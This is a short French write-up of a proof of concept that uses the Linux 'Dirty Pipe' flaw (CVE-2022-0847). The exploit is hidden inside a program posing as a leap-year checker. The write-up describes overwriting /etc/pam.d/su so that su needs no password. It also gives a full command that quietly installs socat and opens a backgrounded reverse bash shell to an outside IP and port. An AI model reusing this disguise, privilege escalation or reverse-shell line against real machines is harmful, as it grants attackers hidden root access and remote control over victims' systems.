
Utilisation de CVE-2022-0847, "Dirty Pipe Exploit", pour déclencher un shell bash inversé pour une exécution de code arbitraire sur une machine distante.
Ceci est une POC montrant comment obtenir un shell bash inversé pour exécuter du code arbitraire sur une machine distante en utilisant CVE-2022-0847, "Dirty Pipe Exploit". Cette vulnérabilité n'affecte que les versions du noyau Linux 5.8 ou plus récentes, mais a été corrigée dans les versions 5.16.11, 5.15.25, 5.10.102 et suivantes. Mettez à jour votre noyau :)
Cet exploit a été découvert par le chercheur en sécurité Max Kellermann. Je n'entrerai pas dans les détails de cet exploit car il le fait bien mieux que moi dans son article ici ; https://dirtypipe.cm4all.com/
Cette preuve de concept est apparemment un simple programme de détection d'année bissextile qui vous indique si l'année donnée est bissextile.
En arrière-plan, je modifie une ligne dans /etc/pam.d/s
Je remplace la ligne auth sufficient pam_rootok.so par auth sufficient pam_permit.so Ce changement nous permet d'exécuter des commandes en tant que superutilisateur sans entrer de mot de passe.
Après cela, nous pouvons simplement utiliser la fonction system() de C pour exécuter des commandes en tant que su.
Je lance
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Cette ligne installe socat sur le système et redirige la sortie vers un fichier null pour que l'utilisateur ne voie pas la sortie du téléchargement. Ensuite, j'exécute une commande socat pour me connecter à une machine distante avec l'IP et le port spécifiés.
Le & place ce processus en arrière-plan afin que la connexion soit maintenue même après que l'utilisateur ferme le terminal.
Exécution du programme sur une machine vulnérable :

Connexion à la machine vulnérable :
